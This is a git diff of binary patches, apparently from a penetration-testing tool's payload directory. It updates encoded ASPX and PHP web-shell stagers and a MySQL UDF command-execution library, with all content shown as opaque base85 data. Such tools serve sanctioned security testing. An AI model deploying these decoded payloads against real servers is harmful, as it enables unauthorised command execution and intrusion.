zo)_LBxz;R084tyIe(G4(*jW^W$vD^ChMiopDJYDG9b|@%)2H9lghTAHkx%AJ`94?L zsk4W1c!ZA;ncc!G0t6)!pQ4L0_Mcbc6M@7jyg+4FQHwP~U8Gvw$wnxjEO&7+!T+_==_1S4~c70+PQGjjzZy#10w z2yl}YvvZ_UnOnEapUulLVA4;Z3F++JYL&Rf111<_(mPRQ#NRlA483lGEZ7Q`xF1FN zKbPye4R@WI4$p@R593@|v3WLe!(9g*fb!|x;>J0t4{%4O2y1IAYB@h+0O4A8%0j%8qsUS&H-t`ENN5Ol0{BIu9A z-ea}I{505kT1o#LP5KLd+t4)7H_4EzvpKq3p?F_kTUXszGqB`7v`5wZWE6P5(-UD( z{maf4z9&KMHlKKO$iFPGcq1O?@xhXPj&5oNL4nJyuO+SM(xKCfy@BmWk|7Lr!^$P% zDidt4I3B6D6xg(Tp*k@rx|xMQNvUj$6x#zEq$CvVT|4J;<<@` zn3*pKR)Qr5=kyqVa=AS^m5Z$gjh{nW^FS475xf4K=)w(-<%FQY^DWN@CiuOyTq1w9 zEIZxHNI*{54N7@0h=TKy8UjnT>$?A*Du|+2-On*Tg?g&j{@xo`);4(~e+%gmgQ?|V z78fwWqWokIK<< zv~euVDK0udf*w!&z7KE;e;zn9G#QmP8#i@R*}E^8y0v-QJ=VA&a93L8K$!Kj+M7-e zbGrbBKezFP0^?M!bb%Y`8uz~j=>9LQY0c!i4!^27%__{PjirL5&s%Nn0J2OH7r{uO zv&BnxSfIy+!{LZNL(hJOs*eZETmbn#jRh0`FOlU64&a!MwY<~#1FdKNnhqU9M$QAe zRVK82|K=a=5s$Olz8MJpl?kDW86#7n{jAI#bY`F~hP@$lS?LLmxVB?E^Y<<%8d@e1 zTRWBW!V%T9P!jiSHIMR{k>*X=p`euSmT8MayYWecTzbH0@iIt5=KVW`=Bd_&@@4ah(ul2n(`IRe4Ra$81R7q(S5#SlbDlX4Q-%dZL;G%p_XLNW!{WDLOI@N8-TSb#N8kN9w$UDR`Z!FhbKQXBweu9BD?eT@jY&cSZTT8(;_-(Veq zf5E{-Mp_Z^g3a%yGNY*(C8Yhe5))$lH|9TJqi}S>vH*p6GazxnzdiJXdh+a#6H=5- zyoVKXVdtn&L@?hwFXZXxZ_dRFN~_f7!(yQ)Y-`1CMSbX@$iQ0ia+_r~6?#3rAD*)& zJTDq5D4srfeD9rLGe{E#&$K)jqgCC`6%8>p6`l$9;AX8_`%J77HqDMe4D~>0_nD)A zc5o8h{J=gPpm>BaBVpl^rnX9e2|t5%#3=Y|T9^pa=wqiT+N>b=pB$L&m+^eU2dsit zTkQJ;aMiW{8c@>{hq}?2pIcY~ZBQ$kdh8IS5ZxIi^3NHye~yO#p-%R_^+}lJQ#jnY zvr@@vpRtR1ckm<4Esoe}P>$yh?LrS>Ty6JdKv*bWgnwpnym;=UN+1*{kQO}7%U-2L zwBtK&7gKpGlmh{&&ZnM^rty@Rf_YNV@M0s{;N&QlKu)?Mkr$#{RcJ8&Er%0UE=g5Q PA)RMhNr9wCQ;8P7?|M*- literal 1201 zcmV;i1Wx-ss=@`oIf{HBHhh~&q7~r*Gc7zdp*TfiO15hr$a;b+X*u{{XRYs``OLO> zm%LFr62?Iw;ngZGY0LsWny%9{$=fG=^z5PN*=`%#5exIRjj{FTcRozpXvWN@cf{jCgWH1ZlyP8O?VrmMxu}hz zdRSU`f@(QGsVfCx`1)u*N;GB5a7uTAQoED(#^xSov7!cQ)F45NUqhK%7cq!g&0gj@ z$sWbDmxS1i?z@GxuSoW-`L&;IzfKuIH77v$lR+S^iSMFBL;xPgr73I%sBez{JFFQ? z@HI&5FAoS2nQL(Su__KYJ6c>6GB~Ga076Ps)}B$S{_!3CJNJrlYa(UhPrZwQp5H1d zb(%8QB*M;u4aO>*FvWk)9M+9j^NSFwX6TxTO8d?p%M1Same9SUziI`tT9j$GtzL!yI=zr-7!vjU2Q@wA44Y7(S#=_Y-;&{fGpD=gP3gX}T+E zbz@QUOQ38);BrX3n!r;ruRN-UAo&83F*P1px`Jy0))jNvlQCf#hca_w0~|aH3#NSa zM_2_faaFlg4)IBpE?t@$$+Jt=J$-y%O1*;rD|AL-~;L!izc_ zPYksz0EVsFNefdns>Pn>=2m4NeMY74bb53R48v+L$~8KA*EV+k&5k%pFIpk<>q8S& zu4Y+o`x1S|A)r#uRAB82UeTme&KmY(bXndx$VuAH%rw>$t$9gpV2d7Fc9MsI#g}X81S0!Q>G79?2fC*+DPR zWVHT6Nq=v{#)*r8G=iH*KGDLm9X1@!bD~>ErBOzcsdc)4JOvN)`+1O~eAC|E2q&vb zv!ZK2C8NxDLJ{q1G?CWeVC%a%4)3tR#Y2;JcOLp_N?4YYjD$Ybbh=k(4i5sl5WCG3 zcx!$QF24*YXPTmCJZ)_>i||-5rF8F~4tNeS8oPJIq$0_E{cWB@Ex55q1JFKNv)#v7 za8V$Q=d}SEuU+~BXC;NTpqF^j5=y*s%MFHJ9^7p7?n0G#!Py`1kU8ex)3q4o0gbQ+ zK$*k?fAGuAUKF=9ft%yWgf3?WVs%xhKB#nq7W^x8>AEJeaI5&u?>TP+t@i&_{%_&kb(OaUf&i(>=H#CzL! z@TXr%5pqj?k9Iz;!Ghqt;lYl|@4;521Pa~-mo|_JP8|>VBBE_%Y7H@J PC%jb)QuLcZT&!q};muFO diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ index 3694b2c153395368021f563a12edd6c419c099a2..acbf840bc040fb45830c08ad4575711d7d13e998 100644 GIT binary patch literal 529 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 diff --git a/data/shell/stagers/stager.php_ b/data/shell/stagers/stager.php_ index c5103161a7d6c33997fa62c0df5cd1072048703f..945a37e80c4ebc36efc2ffcdbb9f1f93c303afa5 100644 GIT binary patch literal 379 zcmV->0fhb!?yjV&JIgkGl<2J!dL^Yb!Ljot`JBEKuzh6aUM%hm zVykvph?etES_~eGcKT37OkWazlP99M-LkI=CxDtA+dEWfR5k#^)2~OA|E}d@Qm*uw z-WlP(3t)$*=SA>JGMv%f;5Mb^uyJJVO<9{gW8(`ss>CTaTBgdmc|a^-jhF-LAxXq-ex_$rv literal 379 zcmV->0fhcNs_MXvJ?aE3kDZbfbpYE3h4q&L|GkVDA@0n$r~{7qJ$P=d%MWN$wz(^g zILr5)N|Y$-7eXW~X~1wcmCo5&0fsFrt3R9s!)qpqjK-9uP(uKvZsJ|A zLi=RdK_8t)@hyQB+B;Ns3rwoh8K)Ang%T+e<+O~&Gea0oYt0XdrY2lwwp>=XMOo1c zZH@?Q%+i;4TrDixZI5q4LwamY*JH+?+moGJJoTj-)E+8Y5OQSX)sA(=2`}~!?%r-VJQ|^N?LkC`5K--fiM{x3?W1xQ`>IdY!onOkH8lLC|v z3IWe<&D5p|kO|o>>UcC2|FV)fX(r>7`duT{xowaRys}W{#0CaqY6Pvhgqb{zJi^`O z|G$AYj&%4w(5CFV)g8jykwE!)?=rbqrK+K^*o*0n;{H%3iSBkEdh*d+J!go{?&O&# za$2r4WUvqRdiV>J*RN3Juq!H#n5J27IwA+&tUa2C#p+k5Tf$hB#eJTdUi_tye@~2a zq&B`p+P{X&f*XhhUd}!r#P&e5k@;X@FE%n& zwtkeo4n5_z6^|9)+2%r-hx_x7sve8R?%9XAy%FP}Xxfc8g=x}f8xU4M6vOjRd&-E(x;D?--RwAsn4sjV zl(g}_8fbMn85KvOsZ1=st-80?nCParwHd>lJLmzspTK*R9#|E)mgJ z-VXT|X^Pn-W1BwseU zT_cUwe?hrpQ0`o_1Z@Ia6Qg}OO}Q9I83@y%6Yr&^Pi;)-9JV!l_lsdCA97@-{V z9k=F7nj5r}$Mc~cpkg-OS;AZN<{+KI3POdr=~_bMl2qh zQ$>OZSx1VtyGkFYkPdkhifh5tWkkGdWS>QiaoaiRc>qE2%Ok9oC*<(T_{XGjMw;j zIhb)KoL5-t4CA1eKrae9`KvbfkQmljk10SZgNMyKC4;Xe8he8t3||o6N4?cUU0Cco z68@t-pef+QEvnQP3|}{|waFraZ?b?RR~m?2@8Qs?D^gCmdtT<1!v~8%)rp*!9f9Dl z_eZ_dk*UHEI()IdDOA4L}0?P5-GJ(4Dc=sEy0;g4hjixcgqgnV@6qqMCOpoYhbb{YMj{` z&l>mIxnwKw4(DBk(%?K86|oJjolxY2(n8e{Ep!gPF_Yi1z4&IS8P}{f>)5)*sN@)7 z5g}X5bf$1ObY=GA5}6tKueB5-+Wp{JD9KZN=z!?kzvSDQtqb8L_Ryla-(=wP1djHR z<}j2E4T7-1-#38m%hM73hbi|q0TQ*f*jj)J`SGB=0)$P!i zhLEE}5?NZH7SC#25@4F0(OhWUj6Taqvij37ubso6TO)Jp@8(-szzC`7`6EVrWUydW zJBNUly+o4EB|X^0RXL@K()OybXe~p87hkL}LUek6&D%_Z45A2;)a}t2D`${f)xWW? z<%QZ$FebK-?Webn9MRD)WaajpqNuAs{d$9DkEVni1mU2j87@q)_l7sboXy`x;E*Cv zmb)lYq=a;~W>I?J7^C{N#7Wp-wdx;X>6$Bsx=el!Z(d;(om!(+IYN?%{k9L}8)5Kv zv^!WL0Cb>wZkRkt4h~<&)=rK0l1=t6ND;1Xn6JWa2nEUOl|}qHN_uyVK4TIB%V+-XhS;7|C+ndN2HX>*QgA9Ng!bY;2pq2Z`~gLBN`lHDkrUzml<>A;)bj* zpPfMJGR7{=%UZ3(*T=LfRn-e=H0DsAE#I3_v#7u& zw4pnUp=o)j7RTRTpyXDbK~Jlr>ecq*Sp>IAO$>?+kpYj9%W4weCRURd!I}KFrqu}=#@_VtsOlM6TE+IzhYbs$5 zo_Vr{p@^$|yFg6X>q>rWkuDpcbgiEbUDix5l*t0=>Av{u?=~bkdBB aSw@u{0{O9ED%p9_wf8qTBgk9`OQ5AqHTEC? literal 2512 zcmV;>2`~0Ns+tNPIy;jk_B4BkAPcPFmwGv9*{6o|vQGv}k% zyZhx4h*ipO%hS`n+Bm%F)dZbi=@W|yzTcj<*RGeprn)o%kIzI-VTbNpGD7zJs-XP< zbbFj)f5kBIb=`HQlj}6Xwh9>EgVSbdH3xa@=z0F2!^>s%K(}X;%2?p28o0r?d2YTU zze9mT(^#T=J=xM4Pnjl=ECPMW0fuKpM0KBK>~Aa)nQpfNQR_f0fU+c%m)KG;G(!zi zxm)UwN_l~i6RszY!jpZTh~AC8?pp8R==inhrexfwXaDmB!7a8x9Wi8X54>%c#)@l^ zD(+!YuDhcwOa&1vl=B|u1bw0KaT9~ychk9z7B#E(#b};+~k0a zl9j{n0Ub&{7BD%G?FdMjtDA*~gPobMx;(wEd5AC!>WjgSHr`&~-}&Y_Q~78xv6Zp- z@_jiSyfB?s@SVY<1%o?4pt>xktNg*n!P$BXf77v&rtg=kSU3)O`;RFc(TwY(HDvBk z(JO}}r?H1fspXE#q+Xg~T;C_AM0lH-{+C7azR{Ulp!`F+OSO$gs}tbA+O9{w3)SV- z2r|DN8k)D%h9+y9kvwt<+afp}#hg!hcS0XR`j1N z<)-KlY%Y6^h~?({zJk+^_FQ z2Ey4)l|IU$gSW*wrb7geLby5(o1P=PezyfVrsD+rtdBOEpP;0EfQy6+V@wQOyU zMib8Nz*6`T(<=AilUMhMC7y)4e4NuV zl%I^RS-tH$@YK0L@@(5(ACzFhmQr$wQJ7DBSn%Hsc^XW`Q7}EwHw8r7}kskijYGJ}zAlo6Tclrys{&-w`FS~xU31zKyBpCE5>P0%V zNx=LH6!06IS7eHO5xG{22o_QVI73r5-t%OHV8$09gM>^da=)^=<94WvO%IUZ%E2pH zjNhE9wx-@mO1*o;UyA3(OR;&nj!>nLz9IR8dIDO`Vb~H;wQTyOY3RyL=ufwD0}~8j zrwAJ-J?!ZFXZs^tDCIxcVClk2oDevG+6n+2qE1;??B;)86Y1wMlP_<%8EhySiuTGY zBJEBglX525NT%KK76z6<+-;NE>wcL7e9jMlI7l z9oyXxvRj}Zo3!{RO#6rL7#P)B_!)=oh2Q!D{!!N$Ue5d%-Lhg_JkRLxtA+naESdhO1k*Tz> zfU%Jh2`pu&8R`^nRwVwq*L_-zmrL|dz2B_@>)EHcT>?S6^pj*>&n?&6y=Nj@Vv$k= zAo9PFvSIA}VR^jcQy7=q$%B=*X9zvEQya(^L{&&G)~<7f1BZ5_kg2slEk>dW&dQFc z>Y${3bYjw|>xPBj2c+&OYru%E=IqZH`&+R$l+(K#3&h@(U1}(o@uvlqhq&ND@3mZF z(*I0#qNPUXeI!Na7lwp~fDODyv&$_o^6wOZwP^r6D;fnen|qN2A~&s%@{@7aUnP`L zvKnf08v&nvVZB0oN=iH7&~Lw{i8#q9M>Nn}-0P-E4kY`!jxfVMMPCWOdM9=z<%7gk z)LG}F>9c)`~~pR?T;^ZVWOz* zuhayKu1p7-QiHpArp08>S~`@Z^Y#+ zR4IjbXp4==iy~Ck#;CfAwc7jP4W9+znzfoE8aT(_!cOGmk46`g*G6S^S%q%0;fet8(>>XAw^am==0Dtk zGL*~jPCO=pRrMJw7aHb==!r~p(GeQNp2>2F3)2h~Z3c2tSjAk*9h-zO0JSn`iZ3Z4 z&U@*11HNL_8Et6se! zsNT=#>g#yawsP!G)xlj9`0Zz=t-`75Q$H8U7Opfz*fr~k5jda%FMwsdNeb^0b%^^A{fsj78K z0IVI45=e7jpE#bEDXDAn%DcXEv&>+`0%I5eD68RgO2!u!th0&)4VcFAx?f$4a`V33 aLNlrx4cyOCZk-+Wv(^P^IK5*JM1|Yn$@`}O diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ index 1992ed0347e32a3090e4b5804bea5bb48c9a2772..aed988c71eb41b57ab191efcfd0f2ffa18787bcd 100644 GIT binary patch literal 3200 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 literal 3200 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 